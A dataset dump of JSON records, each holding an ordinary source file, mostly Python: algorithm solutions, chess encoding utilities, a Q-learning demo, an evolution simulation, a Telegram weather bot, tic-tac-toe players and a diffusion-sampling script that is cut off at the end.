+{"seq_id":"24782977286","text":"\"\"\"\n7662번\n이중 우선순위 큐\n\nhttps://www.acmicpc.net/problem/7662\n\"\"\"\nimport heapq\nimport sys\n\n\nt = int(sys.stdin.readline().rstrip())\n\nfor _ in range(t):\n k = int(sys.stdin.readline().rstrip())\n min_heap = []\n max_heap = []\n existing = [False] * 1_000_000\n\n for key in range(k):\n cmd, num = sys.stdin.readline().rstrip().split()\n num = int(num)\n\n if cmd == 'I':\n heapq.heappush(min_heap, (num, key))\n heapq.heappush(max_heap, (num * -1, key))\n existing[key] = True\n \n elif cmd == 'D':\n # 최소 값을 빼는 경우\n if num == -1:\n # min_heap이 존재하고 exist가 False 인경우(이미 사라진 경우)\n while min_heap and not existing[min_heap[0][1]]:\n # max_heap에서 이미 사라진 상태이므로 삭제한다.\n heapq.heappop(min_heap)\n # 비어있지 않은 경우\n if min_heap:\n # False 처리하고, 삭제\n existing[min_heap[0][1]] = False\n heapq.heappop(min_heap)\n # 최대 값을 빼는 경우, 로직은 최소 값을 빼는 경우와 동일\n else:\n while max_heap and not existing[max_heap[0][1]]:\n heapq.heappop(max_heap)\n if max_heap:\n existing[max_heap[0][1]] = False\n heapq.heappop(max_heap)\n \n while min_heap and not existing[min_heap[0][1]]:\n heapq.heappop(min_heap)\n while max_heap and not existing[max_heap[0][1]]:\n heapq.heappop(max_heap)\n\n if min_heap and max_heap:\n print(-max_heap[0][0], min_heap[0][0])\n else:\n print(\"EMPTY\")","repo_name":"dong5854/algorithm","sub_path":"BOJ/solved.ac/class3/python/7662.py","file_name":"7662.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"43237316099","text":"\"\"\"\nGiven an array of words and a length L, format the text such that each line has \nexactly L characters and is fully (left and right) justified.\n\nYou should pack your words in a greedy approach; that is, pack as many words \nas you can in each line. Pad extra spaces ' ' when necessary so that each line \nhas exactly L characters.\n\nExtra spaces between words should be distributed as evenly as possible. \nIf the number of spaces on a line do not divide evenly between words, \nthe empty slots on the left will be assigned more spaces than the slots on the right.\n\nFor the last line of text, it should be left justified and no extra space is \ninserted between words.\n\nFor example,\nwords: [\"This\", \"is\", \"an\", \"example\", \"of\", \"text\", \"justification.\"]\nL: 16.\n\nReturn the formatted lines as:\n[\n \"This is an\",\n \"example of text\",\n \"justification. \"\n]\n\"\"\"\n\nclass Solution(object):\n def fullJustify(self, words, maxWidth):\n \"\"\"\n :type words: List[str]\n :type maxWidth: int\n :rtype: List[str]\n \"\"\"\n def create(b, e):\n thisword = ''\n space = maxWidth - width + c\n if c == 1:\n r.append(words[e-1]+' '*space)\n return\n if e == length:\n for k in range(b,e-1):\n thisword += (words[k]+' ')\n thisword += words[e-1] + ' '*(space-c+1)\n r.append(thisword)\n return\n single = space // (c-1)\n count = space%(c-1)\n for k in range(b,b+count):\n thisword += (words[k] + ' '*(single+1))\n for k in range(b+count,e-1):\n thisword += (words[k] + ' '*single)\n thisword += words[e-1]\n r.append(thisword)\n length = len(words)\n i = j = c = 0\n width = 0\n r = []\n while i maxWidth:\n create(j, i)\n j = i\n c = 0\n width = 0\n else:\n width += len(words[i])+1\n c += 1\n i += 1\n if i == length:\n create(j, i)\n return r","repo_name":"clumsyme/learn","sub_path":"python/solveleet/textJustification.py","file_name":"textJustification.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"5259831626","text":"import sys\nsys.path.append('./../')\n\n\nimport web_plugins.app\nfrom web_plugins.app import application\nfrom web_plugins.response import HtmlResponse\nfrom web_plugins.session import InMemorySessionHandler\n\ndef session_app(request):\n\tresponse = HtmlResponse()\n\tresponse.response_text = \"Session Key\" + str(request.session.key)\n\ttry:\n\t\tcur_number = request.session[\"number\"]\n\texcept:\n\t\tcur_number = 0\n\trequest.session[\"number\"] = cur_number + 1\n\n\tresponse.response_text = response.response_text + \" Hit count: \" + str(cur_number)\n\treturn response\n\n\napplication.session_handler = InMemorySessionHandler()\napplication.handler = session_app\n","repo_name":"rileymat/web_plugins","sub_path":"examples/session_app.py","file_name":"session_app.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"8522435609","text":"from operations import SignalProcessor\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef main():\n n = 64\n arguments = np.arange(0, n) * np.pi / 6\n function_values_1 = list(map(np.sin, arguments))\n function_values_2 = list(map(lambda x: np.sin(4 * x), arguments))\n\n basic_correlation = SignalProcessor.correlation_convolution(function_values_1, function_values_2, 1)\n print('Basic correlation complexity: {}'.format(SignalProcessor.complexity_counter))\n basic_convolution = SignalProcessor.correlation_convolution(function_values_1, function_values_2, -1)\n print('Basic convolution complexity: {}'.format(SignalProcessor.complexity_counter))\n\n fft_based_correlation = \\\n SignalProcessor.correlation_convolution_fft_based(function_values_1, function_values_2, 1)\n print('FFT-based correlation complexity: {}'.format(SignalProcessor.complexity_counter))\n fft_based_convolution = \\\n SignalProcessor.correlation_convolution_fft_based(function_values_1, function_values_2, -1)\n print('FFT-based convolution complexity: {}'.format(SignalProcessor.complexity_counter))\n\n np_correlation = np.correlate(function_values_1, function_values_2, mode='same')\n np_convolution = np.convolve(function_values_1, function_values_2, mode='same')\n\n # plotting part\n _, ((ax1, ax2), (ax3, ax4), (ax5, ax6), (ax7, ax8)) = plt.subplots(4, 2)\n\n ax1.plot(arguments, function_values_1)\n ax1.set(title='First sequence')\n ax1.grid()\n\n ax2.plot(arguments, function_values_2)\n ax2.set(title='Second sequence')\n ax2.grid()\n\n ax3.plot(arguments, basic_correlation)\n ax3.set(title='Basic correlation')\n ax3.grid()\n\n ax4.plot(arguments, basic_convolution)\n ax4.set(title='Basic convolution')\n ax4.grid()\n\n ax5.plot(arguments, fft_based_correlation)\n ax5.set(title='FFT-based correlation')\n ax5.grid()\n\n ax6.plot(arguments, fft_based_convolution)\n ax6.set(title='FFT-based convolution')\n ax6.grid()\n\n ax7.plot(arguments, np_correlation)\n ax7.set(title='Numpy correlation')\n ax7.grid()\n\n ax8.plot(arguments, np_convolution)\n ax8.set(title='Numpy convolution')\n ax8.grid()\n\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"NasterVill/BSUIR_Labs","sub_path":"6 term/DSIP-Digital-Signal-and-Image-Processing-/Lab 2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"72"}
+{"seq_id":"32390498950","text":"\"\"\"\nNon-configurable var data for the NC Py-Client.\n\"\"\"\n\n# -- Terminal Formattnig --\n\nWRAP_WIDTH, WRAP_HEIGHT = (78, 23)\n\n# -- Keyboard Constants ---\n\nC_RET1 = '\\n'\nC_RET2 = '\\r'\nC_INT = chr(3)\nC_EOF = chr(4)\n\nKEY_DEL = 127\nKEY_NEWLN = ord(C_RET1)\nKEY_TAB = ord('\\t')\n","repo_name":"btrzcinski/netchat","sub_path":"py-client/netclient/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"30732885975","text":"import torch\nimport chess.pgn\nfrom torch.nn.functional import one_hot\n\n\nPIECES_ENCODING = {\n 'p': 1, 'n': 2, 'b': 3, 'r': 4, 'q': 5, 'k': 6,\n 'P': 7, 'N': 8, 'B': 9, 'R': 10, 'Q': 11, 'K': 12\n}\nPIECES_ENCODING_REVERSE = dict((v, k) for k, v in PIECES_ENCODING.items())\n\n\ndef pgn2fens(pgn: str) -> list:\n \"\"\"\n Transform games from PGN file to list of positions in FEN format\n\n Args:\n pgn: Path to PGN file\n\n Returns:\n list of FEN strings for each game\n\n \"\"\"\n\n fens = []\n with open(pgn, encoding='utf-8') as mf:\n game = chess.pgn.read_game(mf)\n while game is not None:\n board = game.board()\n game_fens = []\n for move in game.mainline_moves():\n board.push(move)\n game_fens.append(board.fen())\n fens.append(game_fens)\n game = chess.pgn.read_game(mf)\n\n return fens\n\n\ndef fen_to_board_matrix(fen_string: str) -> torch.Tensor:\n \"\"\"\n Prepares board matrix representation based on FEN string\n\n Args:\n fen_string: String with chess position encoded in FEN format\n\n Returns:\n 8x8 matrix containing current board state\n\n \"\"\"\n\n board_tensor = torch.zeros((8, 8), dtype=torch.long)\n position_repr = fen_string.split(' ')\n board_repr = position_repr[0]\n board_rows = board_repr.split('/')\n\n for i, row in enumerate(board_rows):\n j = 0\n for c in row:\n if c.isdigit():\n j += int(c)\n else:\n v = PIECES_ENCODING[c]\n board_tensor[i, j] = v\n j += 1\n\n return board_tensor\n\n\ndef board_matrix_to_fen(board_tensor: torch.Tensor) -> str:\n \"\"\"\n Transform board matrix representation to FEN format\n\n Args:\n board_tensor: 8x8 matrix containing current board state\n\n Returns:\n String with chess position encoded in FEN format\n\n \"\"\"\n\n assert board_tensor.shape == torch.Size((8, 8)) # Ensure proper shape of tensor\n\n # Create FEN string from given matrix\n fen_string = \"\"\n counter = 0\n for row in board_tensor:\n for v in row:\n if v.item() in PIECES_ENCODING_REVERSE:\n if counter > 0:\n fen_string += str(counter)\n counter = 0\n fen_string += PIECES_ENCODING_REVERSE[v.item()]\n else:\n counter += 1\n if counter > 0:\n fen_string += str(counter)\n counter = 0\n fen_string += '/'\n\n fen_string = fen_string[:-1] # Remove '/' at the end of string\n\n return fen_string\n\n\ndef fen_to_one_hot_matrix(fen_string: str) -> torch.Tensor:\n \"\"\"\n Prepares one-hot representation of position based on FEN string\n\n Args:\n fen_string: String with chess position encoded in FEN format\n\n Returns:\n 2D tensor of shape (8, 8, 13) representing chess position with pieces encoded as one-hot vector\n\n \"\"\"\n\n board_matrix = fen_to_board_matrix(fen_string)\n one_hot_matrix = one_hot(board_matrix, num_classes=13)\n return one_hot_matrix\n\n\ndef one_hot_matrix_to_fen(board_tensor: torch.Tensor) -> str:\n \"\"\"\n Transform one-hot representation to FEN format\n\n Args:\n board_tensor: Tensor of shape (8, 8, 13) containing bitboard position representation\n\n Returns:\n String with chess position encoded in FEN format\n\n \"\"\"\n\n assert board_tensor.shape == torch.Size((8, 8, 13)) # Ensure proper shape of tensor\n indices = torch.nonzero(board_tensor)[:, -1].reshape((8, 8)) # Extract indices of pieces\n fen_string = board_matrix_to_fen(indices)\n return fen_string\n\n\ndef fen_to_full_position_tensor(fen_string: str) -> torch.Tensor:\n \"\"\"\n Prepares full 1D one-hot representation including castle rights and side to move based on FEN string\n\n\n Args:\n fen_string: String with chess position encoded in FEN format\n\n Returns:\n 1D tensor containing bitboard representation of whole position (including castiling rights and side to move)\n\n \"\"\"\n\n # 5 additional bits representing side to move and castling rights\n input_size = 64*13 + 5\n board_tensor = torch.zeros((input_size, ), dtype=torch.long)\n\n # Encode board position\n board_matrix = fen_to_one_hot_matrix(fen_string)\n board_tensor[:8*8*13] = torch.flatten(board_matrix)\n\n position_repr = fen_string.split(' ')\n assert len(position_repr) == 6\n side_to_move = position_repr[1]\n castle_rights = position_repr[2]\n\n # Encode side to move\n if side_to_move == 'w':\n board_tensor[-5] = 1\n\n # Encode castle rights\n if castle_rights != '-':\n for i, c in enumerate(['K', 'Q', 'k', 'q']):\n if c in castle_rights:\n board_tensor[-4+i] = 1\n\n return board_tensor\n\n\ndef full_position_tensor_to_fen(board_tensor: torch.Tensor) -> str:\n \"\"\"\n Transform full 1D one-hot representation to FEN format\n\n\n Args:\n board_tensor: 1D tensor containing bitboard representation of whole position (including castiling rights and side to move)\n\n Returns:\n String with chess position encoded in FEN format\n\n \"\"\"\n assert board_tensor.shape == torch.Size((8*8*13 + 5, ))\n\n board_matrix = board_tensor[:8*8*13].reshape((8, 8, 13))\n fen_string = one_hot_matrix_to_fen(board_matrix)\n\n if board_tensor[-5]:\n fen_string += \" w \"\n else:\n fen_string += \" b \"\n\n for v, castle_right in zip(board_tensor[-4:], ('K', 'Q', 'k', 'q')):\n if v:\n fen_string += castle_right\n\n return fen_string\n","repo_name":"panpastwa/ChessMaster","sub_path":"src/utils/data_transform.py","file_name":"data_transform.py","file_ext":"py","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"72167652712","text":"import gym\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom gym.envs.registration import register\nimport random as pr\n\ndef rargmax(vector):\n\tm = np.amax(vector)\n\tindices = np.nonzero(vector == m)[0]\n\treturn pr.choice(indices)\n\nregister(\n\tid = 'FrozenLake-v3',\n\tentry_point = 'gym.envs.toy_text:FrozenLakeEnv',\n\tkwargs={\n\t\t'map_name' : '4x4',\n\t\t'is_slippery' :False\n\t}\n)\n\nenv = gym.make('FrozenLake-v3')\n# initialize Q Table\nQ = np.zeros([env.observation_space.n,env.action_space.n])\n# set trainning count\nnum_episodes = 2000\n\nrList =[]\n\nfor i in range(num_episodes):\n\tstate = env.reset() # initial state\n\trAll = 0 # the total reward sum until unit episode\n\tdone = False\n\n\twhile not done:\n\t\taction = rargmax(Q[state,:]) # Q is 2-dimension array, choose state and select action that returns maxtimun value\n\t\tnew_state, reward, done, _ = env.step(action) # conduct action\n\t\t# update Q table\n\t\trAll += reward\n\t\tQ[state,action] = reward + np.max(Q[new_state,:])\n\t\tstate = new_state\n\t# end of one episode, add the total result, suc: 1, fail : 0\n\trList.append(rAll)\n\n# end of tranning\n\nprint(\"Success rate : \",str(sum(rList)/num_episodes))\nprint(\"Final Q table values\")\nprint(\"LEFT DOWN RIGHT UP\")\nprint(Q)\nplt.bar(range(len(rList)), rList, color='blue')\nplt.show()\n","repo_name":"HyunSu-Jin/Reinforcement-Learning","sub_path":"lab3/qLearning.py","file_name":"qLearning.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"5542472528","text":"from networkx import grid_graph\nimport networkx as nx\nimport numpy as np\nimport random\nfrom matplotlib import colors, cm\nimport matplotlib.pyplot as plt\nimport pandas as pd\n#%matplotlib qt\n\nimport matplotlib.animation as animation\n#from dendropy.calculate import treemeasure\n#from dendropy import Tree as DTree\n\nfrom random import sample, random, choice\n#from copy import deepcopy\n#from math import log\n#from matplotlib. import PillowWriter\n#from ete3 import Tree, NodeStyle, TreeStyle\n#import tqdm\n#from Bio import Phylo\n#from plot_eteTree import plot_tree\nfrom collections import Counter\n#import pandas as pd\nfrom scipy.stats import poisson \n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# Takes a genotype and converts it to an integer for use indexing the fitness landscape list \ndef convertGenotypeToInt(genotype):\n\tout = 0\n\tfor bit in genotype:\n\t\tout = (out << 1) | bit\n\treturn out\n\n# Converts an integer to a genotype by taking the binary value and padding to the left by 0s\t\t\ndef convertIntToGenotype(anInt, pad):\n\toffset = 2**pad\n\treturn [int(x) for x in bin(offset+anInt)[3:]]\t\n\ndef flip(allele):\n if allele ==1:\n allele = 0\n else:\n allele =1\n \n return allele\n\n\ndef fitness(d,m,k,s_p,s,pk):\n p = s - s_p\n y = s + (p)* ((d**k)/((d**k)- (s-p)/s))*((m - pk)/pk)\n return y\n\n\ndef mutation(r,dist):\n check = np.append(dist,r)\n check.sort()\n m = np.where(check ==r )[0][0]\n return m\n \ndef poisson_max_cdf(x,mu,n):\n y = poisson.cdf(x,mu)**n\n return y\n \n \ndef sort_pairs(pair):\n # Extract integer after \"r\".\n return int(pair[0][1:])\n \ndef make_tree_from_list(mut_pairs):\n parents = []\n children = []\n pairs_of_mutations = []\n for item in mut_pairs:\n a = 'r'+str(item[0])\n b = 'r'+str(item[1])\n pairs_of_mutations.append((a,b))\n t = Tree() # Creates an empty tree\n r0 = t.add_child(name=\"r0\")\n lookup = {\"r0\": r0}\n\n for pair in sorted(pairs_of_mutations, key=sort_pairs):\n parentname = pair[0]\n childname = pair[1]\n if childname not in lookup:\n if parentname in lookup:\n newchild = lookup[parentname].add_child(name = childname)\n lookup.update({childname: newchild})\n\n parents.append(parentname) #make list of unique terminal nodes (no children of children)\n children.append(newchild)\n else:\n print(pair)\n raise RuntimeError('Must not happen.')\n\n return t\n\ndef make_pruned_tree_from_list(mut_pairs):\n parents = []\n children = []\n pairs_of_mutations = []\n for item in mut_pairs:\n a = 'r'+str(item[0])\n b = 'r'+str(item[1])\n pairs_of_mutations.append((a,b))\n t = Tree() # Creates an empty tree\n r0 = t.add_child(name=\"r0\")\n lookup = {\"r0\": r0}\n prune_list = ['r0']\n for pair in sorted(pairs_of_mutations, key=sort_pairs):\n parentname = pair[0]\n childname = pair[1]\n if childname not in lookup:\n if parentname in lookup:\n newchild = lookup[parentname].add_child(name = childname)\n lookup.update({childname: newchild})\n if parentname not in parents:\n prune_list.append(lookup[parentname])\n parents.append(parentname) #make list of unique terminal nodes (no children of children)\n children.append(newchild)\n else:\n print(pair)\n raise RuntimeError('Must not happen.')\n prune_count = Counter(children)\n t.prune(prune_list)\n return t\n\ndef sim_user_abx(wt,ln, g, ab, \n mut_rate,k, s_p,s,pk,\n mut_select,track_pairs):\n \n \n \n width = wt\n length = ln\n grid_size = g\n \n ## bacteria per grid cell as mapped to MegaPLate\n bps = int(((60*((120/9)*5) * 10**8)/1)/(ln*wt))\n ##setup nx graph to find neibors quickly\n G = grid_graph(dim=[wt, ln])\n \n ##set up grid to keep track of cell state i.e. number of mutations\n cells = np.full((ln,wt),-1)\n cells[0] = 0 \n if track_pairs == True:\n ##set up grid to keep track of mutation events i.e. which order event resulted in the cell here if any\n muts = np.full((ln,wt),0)\n \n #dstribution of for max of scamples drawn from poisson\n t = np.linspace(0,pk,pk+1)\n if mut_select == 3:\n prob_dist = poisson_max_cdf(t,mut_rate,bps)\n\n #new \n if mut_select == 0:\n\n t = np.linspace(0,pk,pk+1)\n poisson_unbias = poisson.pmf(t,mut_rate)\n poisson_biased=[]\n for i in np.unique(abx_grad):\n poisson_biased.append((poisson.pmf(t,mut_rate)*((fitness(i,t,k,s_p,s,pk)+1)/2))/(sum(poisson.pmf(t,mut_rate)*((fitness(i,t,k,s_p,s,pk)+1)/2))))\n\n if mut_select == 1:\n t = np.linspace(0,pk,pk+1)\n poisson__max_unbias = poisson_max_cdf(t,mut_rate,bps)\n poisson_biased=[]\n for i in np.unique(abx_grad):\n poisson_biased.append((poisson__max_unbias*((fitness(i,t,k,s_p,s,pk)+1)/2))) \n \n \n \n \n ##set up grid that maps abx conc. to space\n ab = ab\n \n #storing cells and mutation\n cell_history = []\n mut_pairs = []\n mut_ID = 0\n half_time = 0\n ##begin evolution\n #while all(cells[-1] == -1) and len(cell_history) != 40002:\n #while all(cells[-int(ln/g)+2] == -1) and len(cell_history) != 40002:\n \n while all(cells[-1] == -1):\n \n ## save current state map to list\n cell_history.append(cells.tolist())\n if half_time ==0:\n if all(cells[-3*int(ln/g)+2] == -1) == False:\n half_time = len(cell_history)\n \n ##find slots where there is a living cells\n cells_where = np.where(cells != -1)\n \n \n ##create a randomized list of the living cells with which to iterate through\n cells_list = []\n for x, y in zip(cells_where[0], cells_where[1]):\n cells_list.append([x,y])\n \n np.random.shuffle(cells_list)\n \n ##decide if each living in this generation will die, live, or mutate\n for j in cells_list: \n g_draw = 2 * random() -1\n \n ##death\n j_muts = cells[tuple(j)]\n antibiotic_value = ab[tuple(j)]\n if fitness(antibiotic_value,j_muts,k,s_p,s,pk) < g_draw :\n cells[tuple(j)] == -1\n else:\n neighbors = [x for x in G.neighbors(tuple(j))]\n\n #find which of the neighboring cells are empty, and divide, with a daughter cell in that space\n empty = np.where(-1 == np.array([cells[tuple(x)] for x in neighbors]) )\n if len(empty[0]) != 0:\n pick = neighbors[choice(empty)[0]]\n\n #mutated daughter cells\n #m = mutation(random(),prob_dist)\n #m = np.random.poisson(mut_rate)\n\n if mut_select == 2:\n m = np.random.poisson(mut_rate)\n if mut_select ==3:\n m = mutation(random(),prob_dist)\n if mut_select ==0:\n m = np.random.choice(t,1,p = poisson_biased[np.where(ab[tuple(j)]== np.unique(ab))[0][0]])\n\n if m != 0:\n if track_pairs == True:\n mut_ID = mut_ID +1\n mut_pairs.append([muts[tuple(j)],mut_ID])\n\n muts[tuple(j)] = mut_ID\n cells[tuple(j)] = cells[tuple(j)]+m\n #divide\n cells[tuple(pick)] = cells[tuple(j)]\n \n\n\n \n return cell_history, mut_pairs, half_time","repo_name":"nkrishnan94/MegaPlate-CA","sub_path":"funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":7784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"36675644734","text":"# -*- coding: utf-8 -*-\nfrom telebot import TeleBot, types\nfrom weather import weather_answer, weather_tomorrow\nfrom handler import add_log_string, add_subscription, top5_place, top5_place_user\nimport apikeys\n\n# Инициализация бота\nbot = TeleBot(apikeys.bot_apikey)\n\n\n# Создаем клавиатуры\ndef top5_place_for_key(user_id):\n \"\"\"Формирует избранные города на основе топов пользователя,\n всех пользователейи топа по-умолчанию\"\"\"\n top5_default = ('Москва', 'Санкт Петербург', 'Минск', 'Киев', 'Нур-Султан')\n return (top5_place_user(user_id) + tuple(i for i in top5_place() if i not in top5_place_user(user_id)) +\n tuple(i for i in top5_default if i not in top5_place_user(user_id) + top5_place()))[:5]\n\n\ndef create_inline_keyboard(place):\n markup = types.InlineKeyboardMarkup(row_width=2)\n item1 = types.InlineKeyboardButton(\"Сегодня\", callback_data=str(1) + place)\n item2 = types.InlineKeyboardButton(\"Завтра\", callback_data=str(2) + place)\n item3 = types.InlineKeyboardButton(\"Подписаться\", callback_data=str(3) + place)\n markup.add(item1, item2)\n markup.add(item3)\n return markup\n\n\ndef create_reply_keyboard(user_id):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n keys_name = top5_place_for_key(user_id)\n item1 = types.KeyboardButton(keys_name[0])\n item2 = types.KeyboardButton(keys_name[1])\n item3 = types.KeyboardButton(keys_name[2])\n item4 = types.KeyboardButton(keys_name[3])\n item5 = types.KeyboardButton(keys_name[4])\n markup.add(item1, item2, item3, item4, item5)\n return markup\n\n\n# РАБОТА С БОТОМ\n# Обработка комнатды /start\n@bot.message_handler(commands=['start'])\ndef send_welcome(message):\n with open('static/welcome.webp', 'rb') as sti:\n bot.send_sticker(message.chat.id, sti)\n first_message = f\"Добро пожаловать, {message.from_user.first_name}!\\n Я - {bot.get_me().first_name}, бот \" \\\n f\"показывающий погоду по всему миру!\\n Введите название города, погода в котором вас интересует.\"\n bot.send_message(message.chat.id, text=first_message, parse_mode='html',\n reply_markup=create_reply_keyboard(message.from_user.id))\n\n\n# Обработка текстового сообщения\n@bot.message_handler(content_types=['text'])\ndef send_weather(message):\n place = str.title(message.text)\n answer = weather_answer(place)\n if answer == 'Place error':\n bot.send_message(message.chat.id, \"Введен несущестующий город. Попробуйте еще раз!\")\n else:\n bot.send_message(message.chat.id, answer, reply_markup=create_inline_keyboard(place))\n bot.send_message(message.chat.id, text='Какой еще город вам интересен?',\n reply_markup=create_reply_keyboard(message.from_user.id))\n add_log_string(user_id=message.from_user.id, place=place)\n\n\n# Обработка inline кнопок\n@bot.callback_query_handler(func=lambda call: True)\ndef callback_inline(call):\n try:\n place = call.data[1:]\n if call.message:\n if int(call.data[0]) == 1:\n answer = weather_answer(place)\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\n text=answer, reply_markup=create_inline_keyboard(place))\n elif int(call.data[0]) == 2:\n answer = weather_tomorrow(place)\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\n text=answer, reply_markup=create_inline_keyboard(place))\n elif int(call.data[0]) == 3:\n add_subscription(user_id=call.message.chat.id, place=place)\n answer = f\"Вы подписаны на получение погоды: {place}. Каждый вечер вы будите получать прогноз \" \\\n f\"на следующий день в этом месте\"\n bot.send_message(call.message.chat.id, text=answer,\n reply_markup=create_reply_keyboard(call.message.chat.id))\n bot.answer_callback_query(callback_query_id=call.id, show_alert=False, text=answer)\n\n except Exception as e:\n print(repr(e))\n\n\nbot.polling(none_stop=True)\n","repo_name":"anra-dev/new_telebot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4684,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"38285720205","text":"# main.py\n\n# [2, 4, 1, 3, 2, 5]\n# pivot: 2\n# Less (than pivot): [1], Equal: [2, 2], Greater: [4, 3, 5]\n# pivot: 4\n# less: [3] equal: [4] greater: [5]\n# Repeatedly combine list in order of Less + Equal + Greater\nimport random\n\nnum = []\n\nfor i in range(10):\n num.append(random.randint(0,100))\n\ndef partition(lis, pivot):\n less = []\n equal = []\n greater = []\n for i in lis:\n if i < pivot:\n less.append(i)\n elif i == pivot:\n equal.append(i)\n else:\n greater.append(i)\n\n return less, equal, greater\n\nx = partition(num, num[0])\n\nprint(\"Lower: \"+str(x[0])+\"\\nEqual: \"+str(x[1])+\"\\nGreater: \"+str(x[2]))","repo_name":"AuritroSaha/auritro_coding_portfolio","sub_path":"JUNI/Python Level 3/AM11/Partitions.py","file_name":"Partitions.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"10229692524","text":"from ascii_game.player import Player\nfrom tic_tac_toe.game_entities import TicTacToe\nfrom abc import ABC, abstractmethod\nimport random\nclass TicTacToePlayer(Player):\n def __init__(self, name, value, high_score=0):\n super().__init__(name, high_score)\n self.value = value\nclass ComputerPlayer(TicTacToePlayer):\n def __init__(self, name, value, high_score=0):\n super().__init__(name, value, high_score)\n @abstractmethod\n def move(self, board):\n pass\n def get_opponent_value(self):\n if self.value==TicTacToe.X:\n return TicTacToe.O\n return TicTacToe.X\nclass RandomComputerPlayer(ComputerPlayer):\n def move(self, board):\n return random.choice(board.avalible_moves())\nclass PerfectComputerPlayer(ComputerPlayer):\n NO_WIN = None\n CENTER = (1,1)\n CORNERS = [(0,0),(2,0),(0,2),(2,2)]\n def move(self, board):\n moves = board.avalible_moves()\n win = self.win_possible(moves, self.value, board)\n if win:\n return win\n opponent_win = self.win_possible(moves, self.get_opponent_value(), board)\n if opponent_win:\n return opponent_win\n if self.CENTER in moves:\n return self.CENTER\n for move in self.CORNERS:\n if move in moves:\n return move\n return random.choice(board.avalible_moves())\n \n def win_possible(self, moves, value, board):\n for move in moves:\n if board.try_move(move[0],move[1],value):\n return move\n return self.NO_WIN\nclass MixedComputerPlayer(ComputerPlayer):\n def __init__(self, name, value, high_score=0):\n super().__init__(name, value, high_score)\n perfect_player = PerfectComputerPlayer(name, value, high_score) \n random_player = RandomComputerPlayer(name, value, high_score) \n self.strategy = [perfect_player, random_player]\n def move(self, board):\n return random.choice(self.strategy).move(board)\n","repo_name":"lauryndbrown/ASCII_Tic_Tac_Toe","sub_path":"tic_tac_toe/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"18531831457","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport numpy as np\nfrom torch.utils.data import Dataset, DataLoader\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torchvision.datasets import ImageFolder\nimport functools\nimport pandas as pd\nimport sys\nimport os\nfrom PIL import Image\nimport re\nfrom scipy import integrate\nfrom torchvision.utils import make_grid\nfrom skimage import io\nfrom skimage.metrics import structural_similarity as compare_ssim\n\nimport matplotlib\nmatplotlib.use('Agg') # Set the backend before importing pyplot\nimport matplotlib.pyplot as plt\n\n\n## PARAMETERS\n\ndevice = 'cuda' #@param ['cuda', 'cpu'] {'type':'string'}\nerror_tolerance = 1e-5 #@param {'type': 'number'}\nsample_batch_size = 4 #@param {'type':'integer'}\nz_index =0\n\n# same as for training\nsigma = 25.0 #@param {'type':'number'}\nn_epochs = 10000 #@param {'type':'integer'}\nbatch_size = 32 #@param {'type':'integer'}\nlr = 1e-3 #@param {'type':'number'}\n\n## GENERATING\n\n# Load weights\nload_filename = f\"batchsize_{batch_size}lr_{lr}_sigma_{sigma}_epochs_{n_epochs}.pth\"\nscore_model = ScoreNet(marginal_prob_std, channels=[32, 64, 128, 256], embed_dim=256)\nscore_model.load_state_dict(torch.load(load_filename, map_location=device))\nscore_model.eval() # Ensure the model is in evaluation mode (not training mode)\n\ndiffusion_coeff_fn = functools.partial(diffusion_coeff, sigma=sigma)\nsampler = ode_sampler\n\n## Generate samples using the specified sampler.\nsamples = sampler(score_model,\n marginal_prob_std_fn,\n diffusion_coeff_fn,\n subset_dataset,\n z_index,\n sample_batch_size,\n device=device)\n\n#Sample visualization.\nsamples = samples.clamp(0.0, 1.0)\nsample_grid = make_grid(samples, nrow=int(np.sqrt(sample_batch_size)))\n\nplt.figure(figsize=(6, 6))\nplt.axis('off')\nplt.imshow(sample_grid.permute(1, 2, 0).cpu(), vmin=0., vmax=1., cmap='gray')\n\n# Save the sample visualization figure\nfilename = f\"batchsize_{batch_size}lr_{lr}_sigma_{sigma}_epochs_{n_epochs}_index_{z_index}\"\nsample_fig_path = filename+'_generated.png'\nplt.savefig(sample_fig_path, bbox_inches='tight', pad_inches=0.1)\nplt.close() # Close the figure to start a new one\n\nimage_list, z_coord = subset_dataset[z_index]\nprev_image = image_list[0]\ncurrent_image = image_list[1]\nnext_image = image_list[2]\n\nprev_image_np = prev_image.cpu().numpy()\ncurrent_image_np = current_image.cpu().numpy()\nnext_image_np = 